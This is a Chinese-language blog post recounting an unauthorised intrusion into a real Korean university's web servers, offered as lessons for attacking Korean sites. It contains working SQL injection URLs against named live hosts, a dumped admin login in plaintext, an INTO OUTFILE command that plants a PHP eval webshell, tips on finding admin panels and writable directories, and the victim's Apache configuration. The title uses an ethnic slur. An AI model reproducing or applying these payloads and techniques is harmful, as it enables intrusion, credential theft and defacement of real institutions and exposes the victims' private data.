Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

一次韩国Linux服务器入侵现场及入侵棒子的经验总结

来源: 未知 分享至:

 

忘了是谁在群里发了一个注入点,其本人似乎是在做评估国外尤其是韩国站的安全性的练手。
当时是一个很简单的注入点:
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
 
得到数据:
ship        root@localhost         5.0.51a-community-log
得到数据库:
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,GROUP_CONCAT(DISTINCT+table_schema),0,11,12,13,14,15,16,17+from+information_schema.columns
 
information_schema,JIU_WEB,arch,autoe,beauty,biz,cs,docman,ece,ecse,edu,eee,ese,fashion,fire,fn,food,free,fs,fsc,fund,gteri,haksa_db,japan,jimuse,jkufw,klc,media,mysql,nr,omi,omi_new,pa,pt,radi,sanhak,semu,ship,spe,sports
 
某数据库的表:
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,GROUP_CONCAT(DISTINCT+table_name),0,11,12,13,14,15,16,17+from+information_schema.columns+where+table_schema=0x72616469
 
admin,free,job,notice,pds,photo,plan,popup,qna,schedule,time
 
得到数据:
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,GROUP_CONCAT(DISTINCT+column_name),0,11,12,13,14,15,16,17+from+information_schema.columns+where+table_name=0x61646D696E
 
常规来讲,以上的步骤没什么问题,简直是轻车熟路老鸟都看了都烦。
但是问题来了。
1,虽然是root权限,但是当时没解开MySQL的hash,即使解开了,MySQL.user里面的host没有%
2,虽然是root权限,但是写不上webshell
3,虽然出来密码,但是找不到后台
好吧,我说说我接触韩国网站的经验
韩国网站的安全性,我个人评估的观点是:外强中干
也就是外表看似无从下手,实际上只是路子不对,找对路子,势如破竹
难点在这里:1,后台难找;2,无法上传webshell
我们先来分析一下后台难找。
因为是韩国的网站PHP居多,而PHP网站架设在Linux服务器上居多,Linux的路径分大小写,有时admin后台他写成Admin的话,你就怂了。另外,例如phpmyadmin,人家如果按照默认名称phpMyAdmin的话你还是怂了。
再者,其实我见过的kr站上面,用admin路径做后台的还真不多,不知道为什么,很多后台的名称是borad,虽然费解,不过还好
因为很多kr站后台的登陆密码简单到死,admin/1234这样的一抓一大把
然后是无法上传webshell
Linux对文件、目录权限的控制有很好的设置,就设置这一点,kr网站的管理员是非常合格的。网站中很少能有可写目录,所以网站被写入webshell的几率就大大减少了
但是一个网站的内容要更新呀,那么不要一厢情愿的随便写webshell,找可写目录写,别一个目录写不上,就吊死了。有的文件夹名称叫upload未必就是可写,fckeditor的目录都未必有可写的路径。在国内网站用fck这样的鸡肋程序拿惯了webshell,在kr站上看见人家也有这鸡肋,轻车熟路的传webshell,结果呢,明明有漏洞,却上传失败。哥们儿,人家是Linux的服务器,都跟国内似的,哪儿都能写入啊?
这个网站其实从看到拿下,因为有经验,所以永不了五分钟
同ip站点查询,第一个站http://radi.iuk.ac.kr/admin
后台就是admin路径。看三级域名和前面注入出来的数据库名。这个站的数据库应该是radi,继续注入得到表admin,字段idpasswd
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,GROUP_CONCAT(DISTINCT+id,0x5f,passwd),0,11,12,13,14,15,16,17+from+radi.admin
 
这样就得到:radio和111radio登陆
下一步就是进入后台找可写目录(不要着急找地方传webshell,多数情况下,你是没法传上PHP的后门的,有甚者即使有上传功能也因为目录不可写上传失败。)
根据这个地址
http://radi.iuk.ac.kr/editor/inc/addimage.php?img_path=/home/radi/public_html/admin/job/IMG
 
这里直接把物理可写路径暴露出来了。
知道/home/radi/public_html/admin/job/IMG可写
不过要注意区分大小写
既然数据库是root权限,那我就不客气的用了
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+0x3C3F706870206576616C28245F504F53545B2763275D293F3E+into+outfile+'/home/radi/public_html/admin/job/IMG/bbb.php'
 
得到一句话webshell地址为:http://radi.iuk.ac.kr/admin/job/IMG/bbb.php
查看网站的架设环境Apache/2.0.61 (Unix) DAV/2 PHP/4.4.7
比较古老的网站环境。。。
寻找Apache的配置配置文件,路径找到在这里:/usr/local/apache-2.0.61/conf/httpd.conf
查找一下ship.iuk.ac.kr这个域名,得到配置信息:
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/ship/public_html
    ServerName ship.iuk.ac.kr
</VirtualHost>
 
找到可写目录,执行cp命令即可拿到webshell。不过这样cp其实就是脱裤子放屁,韩国Linux主机上面文件的权限这么严,即使拿到一个站的webshell,其实没什么用,因为改不了东西。要死直接提权,那么这个cp不就等于多此一举吗
附录:Apache的配置文件
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/ece/public_html
    ServerName ece.iuk.ac.kr
    ServerAlias m1.adbank.co.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/ese/public_html
    ServerName ese.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/spe/public_html
    ServerName spe.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/edu/public_html
    ServerName edu.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/jkufw/public_html
    ServerName jkufw.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/pa/public_html
    ServerName pa.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/semu/public_html
    ServerName semu.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/media/public_html
    ServerName hospital.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/biz/public_html
    ServerName biz.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/gteri/public_html
    ServerName hotel.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/japan/public_html
    ServerName japan.iuk.ac.kr
</VirtualHost>
<VirtualHost *:80>
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/food/public_html
    ServerName food.iuk.ac.kr
</VirtualHost>

Tags:
分享至:
最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史